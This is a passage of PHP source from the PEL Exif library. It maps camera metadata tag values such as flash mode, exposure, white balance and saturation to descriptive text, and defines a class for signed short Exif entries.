372 | case 0x000f:
373 | return Pel::tra('Flash fired, compulsory flash mode, return light detected.');
374 | case 0x0010:
375 | return Pel::tra('Flash did not fire, compulsory flash mode.');
376 | case 0x0018:
377 | return Pel::tra('Flash did not fire, auto mode.');
378 | case 0x0019:
379 | return Pel::tra('Flash fired, auto mode.');
380 | case 0x001d:
381 | return Pel::tra('Flash fired, auto mode, return light not detected.');
382 | case 0x001f:
383 | return Pel::tra('Flash fired, auto mode, return light detected.');
384 | case 0x0020:
385 | return Pel::tra('No flash function.');
386 | case 0x0041:
387 | return Pel::tra('Flash fired, red-eye reduction mode.');
388 | case 0x0045:
389 | return Pel::tra('Flash fired, red-eye reduction mode, return light not detected.');
390 | case 0x0047:
391 | return Pel::tra('Flash fired, red-eye reduction mode, return light detected.');
392 | case 0x0049:
393 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode.');
394 | case 0x004d:
395 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected.');
396 | case 0x004f:
397 | return Pel::tra('Flash fired, compulsory flash mode, red-eye reduction mode, return light detected.');
398 | case 0x0058:
399 | return Pel::tra('Flash did not fire, auto mode, red-eye reduction mode.');
400 | case 0x0059:
401 | return Pel::tra('Flash fired, auto mode, red-eye reduction mode.');
402 | case 0x005d:
403 | return Pel::tra('Flash fired, auto mode, return light not detected, red-eye reduction mode.');
404 | case 0x005f:
405 | return Pel::tra('Flash fired, auto mode, return light detected, red-eye reduction mode.');
406 | default:
407 | return $this->value[0];
408 | }
409 |
410 | case PelTag::CUSTOM_RENDERED:
411 | //CC (e->components, 1, v);
412 | switch ($this->value[0]) {
413 | case 0:
414 | return Pel::tra('Normal process');
415 | case 1:
416 | return Pel::tra('Custom process');
417 | default:
418 | return $this->value[0];
419 | }
420 |
421 | case PelTag::EXPOSURE_MODE:
422 | //CC (e->components, 1, v);
423 | switch ($this->value[0]) {
424 | case 0:
425 | return Pel::tra('Auto exposure');
426 | case 1:
427 | return Pel::tra('Manual exposure');
428 | case 2:
429 | return Pel::tra('Auto bracket');
430 | default:
431 | return $this->value[0];
432 | }
433 |
434 | case PelTag::WHITE_BALANCE:
435 | //CC (e->components, 1, v);
436 | switch ($this->value[0]) {
437 | case 0:
438 | return Pel::tra('Auto white balance');
439 | case 1:
440 | return Pel::tra('Manual white balance');
441 | default:
442 | return $this->value[0];
443 | }
444 |
445 | case PelTag::SCENE_CAPTURE_TYPE:
446 | //CC (e->components, 1, v);
447 | switch ($this->value[0]) {
448 | case 0:
449 | return Pel::tra('Standard');
450 | case 1:
451 | return Pel::tra('Landscape');
452 | case 2:
453 | return Pel::tra('Portrait');
454 | case 3:
455 | return Pel::tra('Night scene');
456 | default:
457 | return $this->value[0];
458 | }
459 |
460 | case PelTag::GAIN_CONTROL:
461 | //CC (e->components, 1, v);
462 | switch ($this->value[0]) {
463 | case 0:
464 | return Pel::tra('Normal');
465 | case 1:
466 | return Pel::tra('Low gain up');
467 | case 2:
468 | return Pel::tra('High gain up');
469 | case 3:
470 | return Pel::tra('Low gain down');
471 | case 4:
472 | return Pel::tra('High gain down');
473 | default:
474 | return $this->value[0];
475 | }
476 |
477 | case PelTag::SATURATION:
478 | //CC (e->components, 1, v);
479 | switch ($this->value[0]) {
480 | case 0:
481 | return Pel::tra('Normal');
482 | case 1:
483 | return Pel::tra('Low saturation');
484 | case 2:
485 | return Pel::tra('High saturation');
486 | default:
487 | return $this->value[0];
488 | }
489 |
490 | case PelTag::CONTRAST:
491 | case PelTag::SHARPNESS:
492 | //CC (e->components, 1, v);
493 | switch ($this->value[0]) {
494 | case 0:
495 | return Pel::tra('Normal');
496 | case 1:
497 | return Pel::tra('Soft');
498 | case 2:
499 | return Pel::tra('Hard');
500 | default:
501 | return $this->value[0];
502 | }
503 |
504 | case PelTag::SUBJECT_DISTANCE_RANGE:
505 | //CC (e->components, 1, v);
506 | switch ($this->value[0]) {
507 | case 0:
508 | return Pel::tra('Unknown');
509 | case 1:
510 | return Pel::tra('Macro');
511 | case 2:
512 | return Pel::tra('Close view');
513 | case 3:
514 | return Pel::tra('Distant view');
515 | default:
516 | return $this->value[0];
517 | }
518 |
519 | case PelTag::SUBJECT_AREA:
520 | switch ($this->components) {
521 | case 2:
522 | return Pel::fmt('(x,y) = (%d,%d)', $this->value[0], $this->value[1]);
523 | case 3:
524 | return Pel::fmt('Within distance %d of (x,y) = (%d,%d)',
525 | $this->value[0], $this->value[1], $this->value[2]);
526 | case 4:
527 | return Pel::fmt('Within rectangle (width %d, height %d) around (x,y) = (%d,%d)',
528 | $this->value[0], $this->value[1],
529 | $this->value[2], $this->value[3]);
530 |
531 | default:
532 | return Pel::fmt('Unexpected number of components (%d, expected 2, 3, or 4).', $this->components);
533 | }
534 |
535 | default:
536 | return parent::getText($brief);
537 | }
538 | }
539 | }
540 |
541 |
542 | /**
543 | * Class for holding signed shorts.
544 | *
545 | * This class can hold shorts, either just a single short or an array
546 | * of shorts. The class will be used to manipulate any of the Exif
547 | * tags which has format {@link PelFormat::SSHORT}.
548 | *
549 | * @author Martin Geisler
550 | * @package PEL
551 | */
552 | class PelEntrySShort extends PelEntryNumber {
553 |
554 | /**
555 | * Make a new entry that can hold a signed short.
556 | *
557 | * The method accept several integer arguments. The {@link
558 | * getValue} method will always return an array except for when a
559 | * single integer argument is given here.
560 | *
561 | * @param PelTag the tag which this entry represents. This
562 | * should be one of the constants defined in {@link PelTag}
563 | * which has format {@link PelFormat::SSHORT}.
564 | *
565 | * @param int $value... the signed short(s) that this entry will
566 | * represent. The argument passed must obey the same rules as the
567 | * argument to {@link setValue}, namely that it should be within
568 | * range of a signed short, that is between -32768 to 32767
569 | * (inclusive). If not, then a {@link PelOverFlowException} will be
570 | * thrown.
571 | */
572 | function __construct($tag /* $value... */) {
573 | $this->tag = $tag;
574 | $this->min = -32768;
575 | $this->max = 32767;
576 | $this->format = PelFormat::SSHORT;
577 |
578 | $value = func_get_args();
579 | array_shift($value);
580 | $this->setValueArray($value);
581 | }
582 |
583 |
584 | /**
585 | * Convert a number into bytes.
586 | *
587 | * @param int the number that should be converted.
588 | *
589 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
590 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
591 | *
592 | * @return string bytes representing the number given.
593 | */
594 | function numberToBytes($number, $order) {
595 | return PelConvert::sShortToBytes($number, $order);
596 | }
597 | }
598 |
599 |
--------------------------------------------------------------------------------